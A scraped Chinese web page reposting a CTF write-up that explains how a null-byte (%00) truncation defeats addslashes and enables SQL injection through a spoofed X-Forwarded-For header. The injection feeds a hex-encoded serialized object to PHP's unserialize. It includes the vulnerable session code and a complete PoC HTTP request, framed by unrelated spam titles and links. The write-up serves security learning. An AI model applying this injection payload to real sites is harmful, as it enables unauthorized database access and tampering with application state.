当前位置: 首页 > news >正文

域名服务器都有了怎么做网站数字货币网站开发需求

域名服务器都有了怎么做网站,数字货币网站开发需求,怎样制作免费手机网站,深圳注册公司需要什么资料文章来源#xff1a;安全客原文链接#xff1a;%00截断配合反序列化的奇妙利用 - 安全客#xff0c;安全资讯平台前言前段时间做了一个CTF题目#xff0c;发现这道题目相当的精妙#xff0c;主要是利用了%00的截断来绕过安全校验#xff0c;最终利用反序列化达成目的。漏…文章来源安全客原文链接%00截断配合反序列化的奇妙利用 - 安全客安全资讯平台前言前段时间做了一个CTF题目发现这道题目相当的精妙主要是利用了%00的截断来绕过安全校验最终利用反序列化达成目的。漏洞分析可控点整个代码十分的简单就是猜数字的游戏但是按照正常的逻辑是无法成功的那么必然存在漏洞。在config.php中:foreach ($_GET as $key $value ) {$_GET[$key] daddslashes($value); } foreach ($_POST as $key $value ) {$_POST[$key] daddslashes($value); } foreach ($_COOKIE as $key $value ) {$_COOKIE[$key] daddslashes($value); } foreach ($_SERVER as $key $value ) {$_SERVER[$key] addslashes($value); } function daddslashes($string) {if(!get_magic_quotes_gpc()) {if(is_array($string)) {foreach($string as $key $val) {$string[$key] daddslashes($val);}} else {$string addslashes($string);}}return $string; }对GET、POST、Cookie和SERVER都进行了转义。分析session.class.php代码class session {function __construct($db, $session_id, $session_table session, $session_nameSESSID){$this-dbConn $db;$this-session_name $session_name;$this-session_table $session_table;$this-_ip $this-real_ip();// some other codeif ($session_id !empty($_COOKIE[$this-session_name])){$this-session_id $_COOKIE[$this-session_name];}// some other codeif ($this-session_id){$this-load_session();}else{$this-gen_session_id();setcookie($this-session_name, $this-session_id . $this-gen_session_key($this-session_id));}}function real_ip(){static $realip NULL;if ($realip ! NULL){return $realip;}if (isset($_SERVER)){if (isset($_SERVER[HTTP_X_FORWARDED_FOR])){$realip $_SERVER[HTTP_X_FORWARDED_FOR];}elseif (isset($_SERVER[HTTP_CLIENT_IP])){$realip $_SERVER[HTTP_CLIENT_IP];}else{if (isset($_SERVER[REMOTE_ADDR])){$realip $_SERVER[REMOTE_ADDR];}else{$realip 0.0.0.0;}}}else{$realip 0.0.0.0;}return $realip;} }其中变量$this-_ip是由函数real_ip()得到其实是从$_SERVER[HTTP_X_FORWARDED_FOR]等变量中取到的意味着变量$_SERVER[HTTP_X_FORWARDED_FOR]是可控的。变量$this-session_id是从变量$_COOKIE[SESSID]中得到的同样是可控的。所以目前看到这里我们已经知道了变量$this-_ip和变量$this-session_id都是我们可控的。漏洞点发现在初始化中存在如下代码if ($this-session_id) {$this-load_session(); }如果存在$this-session_id,则调用load_session()函数跟踪进入到load_session()中进一步分析function load_session() {$res $this-dbConn-query(SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . );$session $res-fetch_array();if (empty($session)){$this-insert_session();}else{$GLOBALS[_SESSION] unserialize($session[data]);} }可以发现在SQL语句中直接使用了$this-_ip,而这个$this-_ip是我们可控的$this-session_id也是可控的其次最后将数据取出来时使用了unserialize($session[data])反序列化的操作。根据直觉猜解这个问题可能和SQL注入以及序列化漏洞有关。漏洞利用根据上面的猜测漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数$this-_ip,虽然我们可控但是还是被包裹同时之前也进行了转义所以如果要利用必须要能够逃逸出单引号。其次对于序列化漏洞需要从$session[data]中读入数据所以要能够利用序列化漏洞的话则需要$session[data]的内容是可控的。但是通过分析对于数据库中data表的数据我们是不可控的所以序列化的利用也存在很大的问题了。其实问题的本质是在于SQL注入漏洞如果能够成功地进行union注入也就意味着$session[data]的内容是可控的。那么问题就转为了如何进行注入了注入的关键问题是在于逃脱引号。分析SQL语句SELECT data FROM . $this-session_table . WHERE session_id . $this-session_id . and ip . $this-_ip . 如果$this-_ip无法逃逸出单引号那么可以考虑一下$this-session_id是否能够逃逸出单引号。继续分析代码$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }可以发现使用了substr()方法进行了阶段那么是否能够利用截断的方法得到一个呢通过一个例子进行说明$mystr c4ca4238a0b923820dcc509a6f75849; $mystr addslashes($mystr); var_dump($mystr); // 结果为 c4ca4238a0b923820dcc509a6f75849 (length33) var_dump(substr($mystr, 0, 32)); //结果为 c4ca4238a0b923820dcc509a6f75849 (length32)说明通过截断的方式保留是可行的。解决了SQL注入的问题接下来就需要解决反序列化的问题序列化是字符串但是由于之前使用了addslashes进行转义即使能够使用SQL注入也无法进行反序列此时需要可以采用十六进制来解决这个问题了。漏洞实施在进行实际的测试时我发现通过会存在问题。当我们设置SESSIDc4ca4238a0b923820dcc509a6f75849eb2d9059时代码运行至$tmp_session_id substr($this-session_id, 0, 32); if ($this-gen_session_key($tmp_session_id) substr($this-session_id, 32)) {$this-session_id $tmp_session_id; }其中的$tmp_session_id截断之后变为c4ca4238a0b923820dcc509a6f75849。此时计算:$this-gen_session_key($tmp_session_id) // 得到 eb2d9059 substr($this-session_id, 32) // 得到 eb2d9059可以看到多余的被保留了导致此处的判断无法相等这样就存在问题。后来想到可以使用%00的方式得到$mystr QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00; $mystr urldecode($mystr); $mystr addslashes($mystr); var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length32)这样多余的0就可以作为后面的校验值了。当我们设置SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457时运行的结果如下这样就完成了SQL注入的第一步了下面就是构造序列化的内容然后转换为十六进制。序列化的内容十分的简单需要设置分数大于100份即可a:2:{s:4:name;s:6:hahaha;s:5:score;s:3:102;},转换为十六进制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d。至此所有的问题都解决了最后的PoC为:GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: en-US,en;q0.5 Cookie: SESSIDQYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age0注意设置Cookie和XXF。总结一般的截断通过是为了保留得到单引号但是相较于常规的截断手法你会发现在本例中完全不适用无法绕过关键的校验是$this-gen_session_key($tmp_session_id) substr($this-session_id, 32)同时在绕过了这个校验之后还需要保留单引号最终采用%00截断完美地解决了这个问题。这是一道非常好的题目虽然所有的考察点都知道但是结合在一起确实如此的精妙遇到了问题看来需要多想多思考在安全这条路上还有很长的一段路要走。
http://wiki.neutronadmin.com/news/318483/

相关文章:

  • 石家庄做网站最好的公司哪家好中国万网陈峰欣
  • 贵阳网站托管网站优化排名网站
  • 上海美容网站建设上海专业制作网站
  • 个人 可以做社交网站中国水土保持生态环境建设网站
  • 网站设计尺寸大小外贸网站建设需要什么
  • 如何让百度收录自己的网站wordpress资源下载站
  • 如何建设一个查询系统网站百度网盘下载安装
  • 浙江建站semi认证
  • wordpress建站网做程序网站需要什么代码
  • 网站如何不需要备案织梦增加网站英文名称
  • 怎么建网站新手入门建站需要什么软件
  • 网站建设的常见问题建设网站的技术性背景
  • 打开一个网站搜索页面跳转js怎样修改wordpress模板
  • 网站广告怎样做企业网站建设话术
  • 建设优化网站镇江市建设工程安全监督站网站
  • 较好的网站建设公司上海东方网首页
  • 网站开发项目说明书wordpress立即发布
  • 昌吉网站建设电话页网站设计
  • iis7站长工具北京门户网站建设公司
  • 天津市武清区网站建设上海网站建设公司 翱思
  • 小企业做网站选那种创建全国文明城市作文
  • 上海 网站建设 外包it网络维护简历模板
  • 太原网站建设斯飞网络禹州做网站的公司
  • 医院网站建设工作汇报辽宁省建设厅
  • 淘宝联盟推广可以做网站吗济南商城网站开发
  • 宁夏住房和城乡建设局网站用手机怎么打开电脑版的智慧团建
  • 自己怎么做网站啊免费网站入口2021
  • 求职网站建设那个网站都有做莱的图片
  • 公众号做微网站吗网站租用空间价格
  • 潍坊网站关键词做现货IC电子网站的